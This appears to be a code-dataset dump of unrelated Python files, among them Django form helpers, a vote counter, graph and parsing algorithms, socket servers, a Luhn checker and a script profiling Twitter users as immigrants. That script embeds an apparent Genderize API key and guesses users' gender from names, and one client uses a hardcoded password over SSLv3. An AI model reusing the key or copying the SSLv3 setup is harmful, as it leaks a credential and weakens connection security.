})\n\n return \"\"\n\n\n@register.simple_tag(takes_context=True)\ndef formrow(context, field, **kwargs):\n context = context.__copy__()\n widget = field.field.widget\n\n if kwargs.get(\"label\"):\n field.label = kwargs[\"label\"]\n\n if kwargs.get(\"class\"):\n widget.attrs[\"class\"] = kwargs[\"class\"]\n\n if kwargs.get(\"classes\"):\n cls = widget.attrs.get(\"class\", \"\")\n cls += \" %s\" % kwargs[\"classes\"]\n widget.attrs[\"class\"] = cls.strip()\n\n template_name = kwargs.get(\"template\")\n if not template_name:\n template_name = context.get(\"field_template\", \"forms/row.html\")\n\n t = get_template(template_name)\n\n input_type = get_field_type(widget)\n\n context[\"field\"] = field\n context[\"input_type\"] = input_type\n\n context.update(kwargs)\n\n return t.render(context)\n\n\n@register.assignment_tag\ndef field_type(field):\n return get_field_type(field.field.widget)\n","sub_path":"djformtags/templatetags/formtags.py","file_name":"formtags.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"149747034","text":"'''\r\nCreated on 23 de ago de 2017\r\n\r\n@author: Jhonatan\r\n'''\r\n\r\nw = []\r\nu = []\r\nl = []\r\nn = []\r\nm = []\r\no = []\r\nb = 1\r\n\r\nprint(\"Para votar digite apenas um numero\")\r\nprint(\"1-Windows Server\") \r\nprint(\"2-Unix\")\r\nprint(\"3-Linux \")\r\nprint(\"4-Netware\" )\r\nprint(\"5-Mac OS\") \r\nprint(\"6-Outro\")\r\n\r\nwhile(b != '0'): \r\n b =input(\"digite o numero\\n\")\r\n if(b in '0123456'):\r\n if (b == '1'):\r\n w.append(b)\r\n elif(b == '2'):\r\n u.append(b)\r\n elif(b == '3'):\r\n l.append(b)\r\n elif(b == '4'):\r\n n.append(b)\r\n elif(b == '5'):\r\n m.append(b)\r\n elif(b == '6'):\r\n o.append(b)\r\n else:\r\n print(\"digite so os numeros 1,2,3,4,5\\n\\n\")\r\n\r\ntotal= len(w) +len(u) + len(l) + len(n) + len(m) +len(o)\r\nporw = (len(w) / total) * 100\r\nporw -= porw % 1;\r\n\r\nporu = (len(u) / total) * 100\r\nporu -= poru % 1;\r\n\r\nporl = (len(l) / total) * 100\r\nporl -= porl % 1;\r\n\r\nporn = (len(n) / total) * 100\r\nporn -= porn % 1;\r\n\r\nporm = (len(m) / total) * 100\r\nporm -= porm % 1;\r\n\r\nporo = (len(o) / total) * 100\r\nporo -= poro % 1;\r\nprint(\"\\n\\nSistemas operacionais votos %%%%% \")\r\nprint(\"--------------------- ----- ---------\")\r\n\r\nprint(\"1-Windows Server \",len(w),' ', porw,'%') \r\nprint(\"2-Unix \",len(u),' ', poru,'%')\r\nprint(\"3-Linux \",len(l),' ', porl,'%')\r\nprint(\"4-Netware \",len(n),' ', porn,'%')\r\nprint(\"5-Mac OS \",len(m),' ', porm,'%')\r\nprint(\"6-Outro \",len(o),' ', poro,'%')\r\nprint(\"--------------------- --------\")\r\nprint(\"Total \",total)\r\n\r\n \r\n ","sub_path":"listaOne/Ex11.py","file_name":"Ex11.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"532175183","text":"from collections import defaultdict\nfrom collections import deque\nclass Solution(object):\n def ladderLength(self, beginWord, endWord, wordList):\n if endWord not in wordList:\n return 0\n\n n = len(beginWord)\n\n # defaultdict相较于dict，可以直接call一个不存在的key，如果key不存在直接创建，并根据默认值赋值value\n all_combination = defaultdict(list)\n # 相邻节点的所有组合方式\n for word in wordList:\n for i in range(n):\n all_combination[word[:i] + \"*\" + word[i + 1:]].append(word)\n\n dq = deque()\n dq.append((beginWord, 1))\n # 用bool字典标记被访问的，可以节省大量hashset操作\n visited = defaultdict(bool)\n visited[beginWord] = True\n\n while dq:\n cur_word, dist = dq.popleft()\n for i in range(n):\n cur_neighbors = all_combination[cur_word[:i] + \"*\" + cur_word[i + 1:]]\n for neighbor in cur_neighbors:\n if neighbor == endWord:\n return dist + 1\n if not visited[neighbor]:\n visited[neighbor] = True\n dq.append((neighbor, dist + 1))\n \n return 0\n","sub_path":"03-Search/09-DFS-BFS/others/127-word-ladder/solution1.py","file_name":"solution1.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"408346763","text":"# coding=utf8\nfrom django import forms\n\n\nclass AddForm(forms.Form):\n a = forms.CharField(max_length=20, label=\"Name\",\n widget=forms.TextInput(attrs={\"placeholder\": \"你的名字\", \"autofocus\": \"autofocus\"}))\n\n c = forms.EmailField(label=\"Email\",\n widget=forms.EmailInput(attrs={\"placeholder\": \"请输入合法Email\"}))\n\n\n # b = forms.IntegerField(max_value=5, label=\"inputB\",\n # widget=forms.NumberInput(attrs={\"placeholder\": \"<+=5\"}))\n\n # d = forms.EmailField(label=\"inputMail\",\n # widget=forms.EmailInput(attrs={'class': \"form-control no-radius\", 'placeholder': u'详细描述', 'rows': 3}))\n","sub_path":"common_forms/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"171441107","text":"# encoding: utf-8\n\nfrom lib import threads, renki_settings as settings\nfrom lib.exceptions import RenkiSocketTimeout, RenkiSocketClosed, RenkiSocketError\nimport socket\nimport logging\nimport time\nimport ssl\nimport os\nimport json\nfrom .common.abstract_connection import *\nfrom .common.messaging import *\n\nlogger = logging.getLogger(\"RenkiSocket\")\n\nRENKISOCKET_VERSION = \"0.0.1\"\n\nclass RenkiConnection(AbstractConnection):\n def __init__(self):\n try:\n sock = self.connect()\n except Exception as e:\n raise\n\n super(RenkiConnection, self).__init__(sock=sock)\n self.send_hello()\n\n def connect(self):\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n except Exception:\n try:\n sock.close()\n raise RenkiSocketError(\"Could not connect to server\")\n except Exception:\n raise RenkiSocketError(\"Could not connect to server\")\n\n if settings.RENKISRV_SOCKET_SSL:\n try:\n sock = ssl.wrap_socket(sock,\n ca_certs=settings.RENKISRV_SOCKET_CA,\n cert_reqs=ssl.CERT_REQUIRED,\n ssl_version=ssl.PROTOCOL_SSLv3)\n except Exception:\n raise RenkiSocketError(\"Failed to wrap socket with SSL\")\n\n try:\n sock.connect((settings.RENKISRV_SOCKET_ADDRESS, settings.RENKISRV_SOCKET_PORT))\n except Exception:\n raise RenkiSocketError(\"Could not connect to server\")\n\n return sock\n\n def send_hello(self):\n msg = {\n 'id': 1,\n 'type': MsgTypes.HELLO,\n 'version': RENKISOCKET_VERSION,\n 'name': settings.RENKISRV_NAME,\n 'password': 'testclient'\n }\n self.send(msg)\n\n def handle_request(self, msg):\n logger.debug(\"Message: %s\" % msg)\n","sub_path":"server/lib/communication/renkiconnection.py","file_name":"renkiconnection.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"109139906","text":"from django.contrib.auth.models import User\nfrom django.forms import Form, forms, IntegerField, ModelForm, SelectDateWidget, HiddenInput\n\nfrom hron.employees.models import Employee, Vacation\n\n\nclass UserForm(ModelForm):\n class Meta:\n model = User\n fields = ('first_name', 'last_name')\n\n\nclass EmployeeForm(ModelForm):\n class Meta:\n model = Employee\n fields = ('day_of_employment', 'study_years', 'work_years', 'avatar')\n widgets = {\n 'day_of_employment': SelectDateWidget(empty_label=(\"Choose Year\", \"Choose Month\", \"Choose Day\"))\n }\n\n\nclass VacationForm(ModelForm):\n class Meta:\n model = Vacation\n exclude = ('approved', 'approved_by', 'held')\n widgets = {\n 'start_date': SelectDateWidget(empty_label=(\"Choose Year\", \"Choose Month\", \"Choose Day\")),\n 'end_date': SelectDateWidget(empty_label=(\"Choose Year\", \"Choose Month\", \"Choose Day\")),\n 'employee': HiddenInput(),\n }\n","sub_path":"hron/employees/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"400418856","text":"#!/usr/bin/env python\n\n\"\"\"\n Author: Adam White, Matthew Schlegel, Mohammad M. Ajallooeian\n Purpose: for use of Rienforcement learning course University of Alberta Fall 2017\n \n agent does *no* learning, selects actions randomly from the set of legal actions\n \n\"\"\"\n\nfrom utils import *\nimport numpy as np\nfrom w1_env import *\n\nlast_action = None # last_action: NumPy array\nQ = None\nnum_actions = 10\n\n\ndef agent_init():\n global last_action,num_actions\n QA()\n last_action = np.zeros(1) # generates a NumPy array with size 1 equal to zero\n \n\ndef agent_start(this_observation): # returns NumPy array, this_observation: NumPy array\n global last_action\n \n \n local_action = np.zeros(1)\n epsilongreedy(local_action)\n last_action = local_action\n return local_action[0]\n\n\ndef agent_step(reward, this_observation): # returns NumPy array, reward: floating point, this_observation: NumPy array\n global last_action\n \n \n \n update(last_action, reward)\n \n \n return last_action\n\ndef agent_end(reward): # reward: floating point\n # final learning update at end of episode\n return\n\ndef agent_cleanup():\n # clean up\n return\n\ndef agent_message(inMessage): # returns string, inMessage: string\n # might be useful to get information from the agent\n\n if inMessage == \"what is your name?\":\n return \"my name is skeleton_agent!\"\n \n # else\n return \"I don't know how to respond to your message\"\ndef epsilongreedy(local_action):\n if rand_un() < 0.01:\n \n local_action[0]= rand_in_range(num_actions)\n else:\n highest= []\n index = 0\n max = Q[0]\n for num in Q:\n if max < num:\n max = num\n highest= [index]\n elif max == num:\n highest.append(index)\n index+=1\n \n value = rand_in_range(len(highest))\n \n \n local_action[0] = highest[value]\ndef update(last_action, reward):\n OldEstimate = Q[int(last_action[0])]\n NewEstimate = OldEstimate + 0.1*(reward- OldEstimate)\n Q[int(last_action[0])]= NewEstimate\n return\n\ndef QA():\n global Q\n Q = []\n for i in range(num_actions):\n Q.append(0)\n\n \n ","sub_path":"A/A1/1446485/w1_agent.py","file_name":"w1_agent.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"402873250","text":"'''\nINPUT Parameters: \n 1. Training file name\n 2. Immigrants folder\n 3. All Tweets folder\n'''\n\nimport tweepy \nimport pickle\nimport os\nimport sys\nfrom datetime import datetime\nimport time\nimport json\nfrom pprint import pprint \nimport nltk\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.feature_extraction.text import CountVectorizer\nimport numpy as np\nimport copy\nfrom collections import Counter\nimport urllib.request\n\nclass UserFeature(object):\n def __init__(self, user_id, location, followers_count, gender, tweets_dates, replies_dates):\n self.user_id = user_id\n self.location = location\n self.followers_count = followers_count\n self.gender = gender\n self.tweets_dates = tweets_dates\n self.replies_dates = replies_dates\n\n def display(self):\n print('**********************************')\n print('user id:', self.user_id)\n print('location', self.location)\n print('followers count: ', str(self.followers_count))\n print('gender: ', str(self.gender))\n print('Number of tweets:', str(len(self.tweets_dates)))\n print('Number of replies:', str(len(self.replies_dates)))\n print('**********************************')\n\n\n\nclass Immigrant(object):\n def __init__(self,user_id, immigration_date,tweets,source_country,destination_country, duration):\n self.user_id = user_id\n self.immigration_date = immigration_date\n self.tweets = tweets\n self.source_country = source_country\n self.destination_country = destination_country\n self.duration = duration\n \n def display(self):\n print('**********************************')\n print('user id:', self.user_id)\n print('# of tweets', len(self.tweets))\n print('immigrated from: ', self.source_country)\n print('to: ', self.destination_country)\n print('at:', self.immigration_date)\n print('for', self.duration, 'days')\n print('**********************************')\n\n\ndef load_census():\n female_url = \"http://www2.census.gov/topics/genealogy/1990surnames/dist.female.first\"\n male_url = \"http://www2.census.gov/topics/genealogy/1990surnames/dist.male.first\"\n \n female_request = urllib.request.urlopen(female_url)\n male_request = urllib.request.urlopen(male_url)\n\n line2name = lambda x: x.decode('utf-8').split()[0].lower() if x else ''\n \n females = []\n males = []\n \n for line in female_request:\n females.append(line2name(line).lower())\n\n for line in male_request:\n males.append(line2name(line).lower())\n\n set_male = set(males)\n set_female = set(females)\n\n set_ambiguous = set_female & set_male\n set_female -= set_ambiguous\n set_male -= set_ambiguous\n\n return set_male, set_female\n\n\ndef get_gender_api(name):\n print('API had to be called')\n try:\n json_result = urllib.request.urlopen(\"https://api.genderize.io/?apikey=9ba7964e74c51c9663200446d7ed1f3c&name=\"+name).read()\n gender = json.loads(json_result.decode('utf-8'))['gender']\n return gender\n except Exception as e:\n print(\"Exception in reading from Genderize API:\")\n print(str(e))\n return None\n\ndef get_gender(male_names, female_names, name):\n name = name.lower()\n if name in male_names:\n return 'male'\n elif name in female_names:\n return 'female'\n \n gender = get_gender_api(name)\n if gender is not None:\n return gender\n else:\n return 'unknown'\n\nstart_time = datetime.now()\nprint('started at:', datetime.now().time())\n\nmale_names, female_names = load_census()\n\nimmigrants = os.listdir(sys.argv[1])\nall_users = os.listdir(sys.argv[2])\nnon_immigrants = [i for i in all_users if i not in immigrants]\n\ncandidates = []\ni = 0\nfor user in non_immigrants:\n try:\n f = open(sys.argv[2] + user, 'rb')\n tweets = pickle.load(f)\n f.close()\n\n\n if tweets[0].user.lang != 'en':\n continue\n\n name = tweets[0].user.name.split(' ')[0].lower()\n gender = get_gender(male_names, female_names, name)\n\n replies_dates = []\n dates = []\n locations = []\n for tweet in tweets:\n if tweet.in_reply_to_user_id != None: \n replies_dates.append(tweet.created_at)\n dates.append(tweet.created_at)\n if tweet.place is not None:\n locations.append(tweet.place.country)\n if(len(locations) > 0):\n location, no = Counter(locations).most_common(1)[0]\n \n features = UserFeature(user, location, tweets[0].user.followers_count, gender, dates, replies_dates)\n candidates.append(features)\n\n\n #print(\"No location info available for this user\")\n\n if len(candidates) == 1000:\n f = open(\"Candidates2/candidates_\" + str(i), \"wb\")\n pickle.dump(candidates, f)\n f.close()\n candidates = []\n print(\"************* An output file saved\")\n\n i += 1\n print(str(len(candidates)) + ' from ' + str(i))\n except Exception as e:\n print(\"Exception Handled!\")\n print(str(e))\n pass\n\nif len(candidates) > 0:\n f = open(\"Candidates2/candidates_\" + str(i), \"wb\")\n pickle.dump(candidates, f)\n f.close()\n\n'''\ncandidates_filenames = os.listdir(\"Candidates/\")\nprint(str(len(candidates_filenames)))\nfor can_file in candidates_filenames:\n f = open(\"Candidates/\" + can_file, \"rb\")\n candidates = pickle.load(f)\n f.close()\n print(len(candidates))\n candidates[0].display()\n\n\n\nfor immigrant in immigrants[:1]:\n\n f = open(sys.argv[1] + immigrant, 'rb')\n immigrant_obj = pickle.load(f)\n f.close()\n \n f = open(sys.argv[2] + immigrant, 'rb')\n tweets = pickle.load(f)\n f.close()\n\n location = immigrant_obj.source_country\n number_followers = tweets[0].user.followers_count\n\n number_tweets_before = 0\n for tweet in tweets:\n if tweet.created_at <= immigrant_obj.immigration_date:\n number_tweets_before += 1\n \n date_first_tweet = tweets[-1].created_at\n\n'''\nprint('\\n***************************')\nend_time = datetime.now()\nprint('done at:', end_time.time())\nprint('script took:', end_time - start_time)\n","sub_path":"src/ArchivedScripts/DiffInDiff/GetFeatures.py","file_name":"GetFeatures.py","file_ext":"py","file_size_in_byte":6272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"276905968","text":"import unittest\nfrom data_entry import DataEntry\n\nclass Test_DataEntry(unittest.TestCase):\n\n data_entry = DataEntry\n\n def test_when_standard_float_input__inputted_to_clean_value_return_same_value(self):\n value = '11211221212'\n self.assertEqual(self.data_entry.clean_input(value),'11211221212')\n \n \n def test_when_unclean_input_inputted_to_clean_value_return_same_value(self):\n value = '£1,000,000'\n self.assertEqual(self.data_entry.clean_input(value),'£1000000')\n \n","sub_path":"test_dataentry.py","file_name":"test_dataentry.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"222824613","text":"# Definition for a binary tree node\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass BSTIterator(object):\n def __init__(self, root):\n \"\"\"\n :type root: TreeNode\n \"\"\"\n t = root\n s = []\n d = []\n while t is not None:\n s.append(t)\n d.append(-1)\n tmp = t.left\n t.left = None\n t = tmp\n self.stack = s\n self.direction = d\n self.last = None\n\n def hasNext(self):\n \"\"\"\n :rtype: bool\n \"\"\"\n if self.last is not None:\n return True\n tmp = self.next()\n self.last = tmp\n if tmp is None:\n return False\n return True\n\n def next(self):\n \"\"\"\n :rtype: int\n \"\"\"\n if self.last is not None:\n tmp = self.last\n self.last = None\n return tmp\n if len(self.stack) == 0:\n return None\n if self.direction[-1] == -1:\n has_left = False\n while self.stack[-1].left is not None:\n self.stack.append(self.stack[-1].left)\n self.stack[-1].left = None\n self.direction.append(-1)\n has_left = True\n if has_left:\n self.direction[-1] = 1\n return self.stack[-1].val\n else:\n self.direction[-1] = 0\n if self.direction[-1] == 0:\n self.direction[-1] = 1\n return self.stack[-1].val\n if self.direction[-1] == 1:\n has_right = False\n if self.direction[-1] == 1 and self.stack[-1].right is not None:\n t = self.stack[-1].right\n self.direction.append(-1)\n self.stack.append(t)\n while t.left is not None:\n self.stack.append(t.left)\n self.direction.append(-1)\n tmp = t.left\n t.left = None\n t = tmp\n has_right = True\n if has_right:\n self.direction[-1] = 1\n return self.stack[-1].val\n else:\n self.direction[-1] = 2\n while self.direction[-1] == 2:\n self.stack = self.stack[:-1]\n self.direction = self.direction[:-1]\n if len(self.stack) == 0:\n return None\n if self.direction[-1] == -1:\n self.direction[-1] = 1\n else:\n self.direction[-1] = 2\n return self.stack[-1].val\n\n\n# Your BSTIterator will be called like this:\n# i, v = BSTIterator(root), []\n# while i.hasNext(): v.append(i.next())\nif __name__ == '__main__':\n root = TreeNode(5)\n root.left = TreeNode(1)\n root.right = TreeNode(8)\n root.right.right = TreeNode(9)\n b, v = BSTIterator(root), []\n while b.hasNext():\n v.append(b.next())\n print(v)\n","sub_path":"src/leetcode/P3560.py","file_name":"P3560.py","file_ext":"py","file_size_in_byte":2994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"73650220","text":"import matplotlib.pyplot as plt\nimport random, numpy as np\n\ndef rnd():\n return [random.randint(-10,10) for i in range(3)]\n\ndef random_vectors(n):\n ls = []\n for v in range(n):\n ls.append([random.randint(-10,10) for i in range(3)])\n return ls\n\ndef sos(v):\n return sum(v_i ** 2 for v_i in v)\n\ndef sos_gradient(v):\n return [2 * v_i for v_i in v]\n\ndef in_random_order(data):\n indexes = [i for i, _ in enumerate(data)]\n random.shuffle(indexes)\n for i in indexes:\n yield data[i]\n\nif __name__ == \"__main__\":\n v, x, y = rnd(), random_vectors(3), random_vectors(3)\n data = list(zip(x, y))\n theta = v\n alpha, value = 0.01, 0\n min_theta, min_value = None, float(\"inf\")\n iterations_with_no_improvement = 0\n n, x = 60, 1\n for i, _ in enumerate(range(n)):\n y = np.linalg.norm(theta)\n plt.scatter(x, y, c='r')\n x = x + 1\n s = []\n for x_i, y_i in data:\n s.extend([sos(theta), sos(x_i), sos(y_i)])\n value = sum(s)\n if value < min_value:\n min_theta, min_value = theta, value\n iterations_with_no_improvement = 0\n alpha = 0.01\n else:\n iterations_with_no_improvement += 1\n alpha *= 0.9\n g, t, m = [], [], []\n for x_i, y_i in in_random_order(data):\n g.extend([sos_gradient(theta), sos_gradient(x_i),\n sos_gradient(y_i)])\n m = np.around([np.linalg.norm(x) for x in g], 2)\n for v in g:\n theta = np.around(np.subtract(theta,alpha*np.array(v)),3)\n t.append(np.around(theta,2))\n mm = np.argmin(m)\n theta = t[mm]\n g, m, t = [], [], []\n print ('minimum:', np.around(min_theta, 4),\n 'with', i+1, 'iterations')\n print ('iterations with no improvement:',\n iterations_with_no_improvement)\n print ('magnitude of min vector:', np.linalg.norm(min_theta))\n plt.savefig('Figure 4-10. Modified RSS minimization.jpeg')\n plt.close('all')\n","sub_path":"ch4/code/10_sgd_sos_min_refined.py","file_name":"10_sgd_sos_min_refined.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"399204303","text":"import socket\nfrom threading import Thread\n\n\nclass UdpServer(Thread):\n def __init__(self, address, port):\n Thread.__init__(self)\n self.server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n self.server.bind((address, port))\n self.udp_clients = []\n\n def run(self):\n while True:\n buff, address = self.server.recvfrom(2048)\n message = str(buff, 'utf-8')\n if message.strip() == \"Hello\":\n self.udp_clients.append(address)\n continue\n if message.strip() == \"/quit\":\n self.server.sendto(bytes(\"\", 'utf-8'), address)\n self.udp_clients.remove(address)\n continue\n for client_address in self.udp_clients:\n if client_address == address:\n continue\n self.server.sendto(buff, client_address)\n\n\n\n","sub_path":"src/io/github/kraleppa/t1/homework/udp_server.py","file_name":"udp_server.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"143065037","text":"def main():\n number = eval(input(\"Enter a credit card number as a long integer: \"))\n \n if isValid(number):\n print(number, \"is valid\")\n else:\n print(number, \"is invalid\")\n\n# Return true if the card number is valid \ndef isValid(number):\n return getSize(number) >= 13 and getSize(number) <= 16 and \\\n (prefixMatched(number, 4) or prefixMatched(number, 5) or \\\n prefixMatched(number, 6) or prefixMatched(number, 37)) and \\\n (sumOfDoubleEvenPlace(number) + sumOfOddPlace(number)) % 10 == 0\n\n# Get the result from Step 2 \ndef sumOfDoubleEvenPlace(number): \n result = 0\n \n number = number // 10 # Starting from the second digit from left\n while number != 0:\n result += getDigit((number % 10) * 2)\n number = number // 100 # Move to the next even place\n \n return result\n \n# Return this number if it is a single digit, otherwise, return \n# the sum of the two digits \ndef getDigit(number):\n return number % 10 + (number // 10)\n \n# Return sum of odd place digits in number \ndef sumOfOddPlace(number): \n result = 0\n \n while number != 0:\n result += number % 10\n number = number // 100 # Move two positions to the left\n\n return result\n \n# Return true if the digit d is a prefix for number\ndef prefixMatched(number, d):\n return getPrefix(number, getSize(d)) == d\n \n# Return the number of digits in d \ndef getSize(d): \n numberOfDigits = 0\n \n while d != 0:\n numberOfDigits += 1\n d = d // 10\n \n return numberOfDigits\n \n# Return the first k number of digits from number. If the \n# number of digits in number is less than k, return number. \ndef getPrefix(number, k):\n result = number\n \n for i in range(getSize(number) - k):\n result //= 10\n \n return result\n\nmain()\n","sub_path":"python/python语法/pyexercise/Exercise06_29.py","file_name":"Exercise06_29.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"431968494","text":"from django.shortcuts import render, HttpResponse, redirect\nfrom Data_manage.models import WeldSpot, Task\nimport json\nimport os\n# Create your views here.\n\n\ndef raytest(request):\n if request.method == 'GET':\n task_id = request.GET.get('task_id')\n task_list = Task.objects.values('id',\n 'task_code',\n )\n if task_id == None:\n task_id = task_list.first()['id']\n\n spot_list = WeldSpot.objects.filter(task_code_id=task_id).values(\n 'id',\n 'spot_code',\n 'ray_test_status',\n )\n return render(request, 'ray_test.html', {'task_list': task_list, 'data_list': spot_list, 'task_id': task_id})\n else:\n task_id = request.POST.get('task_id')\n spot_code = request.POST.get('spot_code')\n if spot_code != '':\n task_obj = Task.objects.filter(pk=task_id).first()\n spot = WeldSpot(\n spot_code=spot_code,\n task_code=task_obj\n )\n spot.save()\n return redirect('/RayTest/raytest/?task_id=' + str(task_id))\n\n\ndef raytest_result_save(request):\n if request.method == 'GET':\n spot_id = request.GET.get('spot_id')\n spot_info = {'spot_id': spot_id,\n 'inspector': '暂无',\n 'spot_code': None,\n 'ray_defect_type_0': [],\n 'ray_test_result': None,\n 'ray_test_notes': None,\n 'img_file_list': [],\n }\n spot = WeldSpot.objects.filter(pk=spot_id).values('spot_code',\n 'ray_inspector_code',\n 'ray_defect_type',\n 'ray_test_notes',\n 'ray_test_result',\n ).first()\n spot_info['spot_code'] = spot['spot_code']\n spot_info['inspector'] = spot['ray_inspector_code']\n spot_info['ray_test_notes'] = spot['ray_test_notes']\n spot_info['ray_test_result'] = spot['ray_test_result']\n return HttpResponse(json.dumps(spot_info))\n else:\n spot_id = request.POST.get('spot_id')\n inspector = request.POST.get('inspector')\n # defect_type = request.POST.get('defect_type')\n test_result = request.POST.get('test_result')\n test_notes = request.POST.get('test_notes')\n WeldSpot.objects.filter(pk=spot_id).update(\n ray_inspector_code=inspector,\n ray_test_result=test_result,\n ray_test_notes=test_notes,\n )\n return HttpResponse(test_notes)","sub_path":"RayTest/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"350262954","text":"# coding=utf-8\nimport time\n\n# Define main method\nfrom collections import Set\n\n\ndef crible_era(up_to):\n # type: (int) -> Set[int]\n\n time_to_start_exec = time.time() # type: float\n # Optional\n\n prime_numbers = {2} # type: Set[int]\n # List of prime numbers\n\n actual_number = 3 # type: int\n # We start with 3, then continue in the odd numbers.\n # This number is the current number tested.\n\n list_checker = [False] * up_to\n # This list allows us to check if the number to be eliminated or not.\n # (Eliminate = No prime number)\n # (Eliminate = True)\n\n # this loop allows us to test all the numbers starting from x (continuing x + 2 at each turn) as long as\n # It's less than to the defined maximum number.\n while actual_number < up_to:\n if not list_checker[actual_number]: # this checks if the number isn't eliminated\n\n prime_numbers.add(actual_number) # adding to the list of prime numbers.\n deletion_of_multiple = actual_number # type: int\n # create a temporary variable,\n # which will be used to delete all the multiples of the number we trained in the if loop.\n\n # this loop allows us to delete all multiples of the current number,\n # until It's less than to the maximum number defined.\n while deletion_of_multiple < up_to:\n list_checker[deletion_of_multiple] = True # It eliminates the multiples in question,\n # by setting them to True in the checklist.\n deletion_of_multiple += actual_number # It adds the current number of deletion\n # by the current number of test. (Continue the table)\n\n actual_number += 2\n # End of while loop\n\n time_to_end_exec = time.time() - time_to_start_exec # type: float\n # Optional\n\n print(\"\\nExecution time : \" + str(time_to_end_exec) + \" seconds.\")\n # Optional\n\n return prime_numbers # Return the list of prime numbers.\n\n\n# Exec\nchoose_number = int(input(\"Choose a number to define how far to display prime numbers.\\n-> Value = \")) # type: int\n\nprime_number = crible_era(choose_number + 1) # type: Set[int]\n\nprint(\"\\nPrime Numbers (up to \" + str(choose_number) + \") : (\" + str(len(prime_number)) + \" display)\")\nprint(\"Tips: The numbers aren't arranged in order.\")\n\n# This for a loop allows us to dissect each of the numbers present in the list.\nfor number in prime_number: # type: int\n print(\"-> \" + str(number))\n","sub_path":"eratosthenes.py","file_name":"eratosthenes.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"314012100","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nA CKY parser implementation.\n\"\"\"\n\nclass CkyParser():\n \n def __init__(self, grammar, terminals, nonterminals):\n self.grammar = grammar\n self.terminals = terminals\n self.nonterminals = nonterminals\n self.new_entry = lambda symbol, leftChild, rightChild: {'symbol': symbol, 'left':leftChild, 'right':rightChild}\n\n def rules_for_entry(self, entry):\n rules = []\n for rule, components in self.grammar.iteritems():\n if entry in components:\n rules.append(rule)\n return rules\n\n def parse(self, input_):\n cky_table = {}\n for i in range(1, len(input_) + 1):\n for j in range(1, len(input_) + 1):\n cky_table[i, j] = []\n\n #initialize the table\n for i in range(1, len(input_) + 1):\n symbols = self.rules_for_entry((input_[i-1],))\n for s in symbols:\n cky_table[i, i].append(self.new_entry(s, None, None))\n\n #fill out the table\n def fill_chart(chartsz):\n for span in range(1, chartsz):\n for i in range(1, chartsz - span + 1):\n fill_cell(i, i + span)\n\n def fill_cell(i, j):\n for k in range(i, j):\n combine_cells(i, k, j)\n\n def combine_cells(i, k, j):\n for y in cky_table[i, k]:\n for z in cky_table[k + 1, j]:\n for x in self.nonterminals:\n if (y['symbol'], z['symbol']) in self.grammar[x]:\n cky_table[i, j].append(self.new_entry(x, y, z))\n \n fill_chart(len(input_))\n return cky_table[1, len(input_)]","sub_path":"cky_parser.py","file_name":"cky_parser.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"463582558","text":"from enemy import Enemy, enemies\nimport copy\nimport random\nfrom colorama import Fore\n\n\nclass Battle:\n \"\"\"\n This class represents an instance of a battle with one or more enemies\n \"\"\"\n def __init__(self, list_of_enemies, game_map):\n \"\"\"\n This initiates battle\n :param list_of_enemies: list of enemies in battle\n :param game_map: instance of map\n \"\"\"\n self._player = game_map.player\n self._list_of_enemies = []\n if type(list_of_enemies) == Enemy:\n self._list_of_enemies = copy.deepcopy(enemies.get(list_of_enemies))\n else:\n for enemy in list_of_enemies:\n self._list_of_enemies.append(copy.deepcopy(enemies.get(enemy)))\n\n self._rounds = 1\n self._map = game_map\n self._reward_gold = 0\n self._reward_exp = 0\n self.start()\n\n @property\n def player(self):\n return self._player\n\n @property\n def list_of_enemies(self):\n return self._list_of_enemies\n\n @property\n def rounds(self):\n return self._rounds\n\n @property\n def game_map(self):\n return self._map\n\n @property\n def gold(self):\n return self._reward_gold\n\n def add_gold(self, value):\n self._reward_gold += value\n\n @property\n def exp(self):\n return self._reward_exp\n\n def add_exp(self, value):\n self._reward_exp += value\n\n def start(self):\n print('-------Battle starts!-------')\n self.list_enemies()\n\n def list_enemies(self):\n print(f'Round: {self.rounds}')\n for i, enemy in enumerate(self.list_of_enemies):\n print(f'{i+1}: 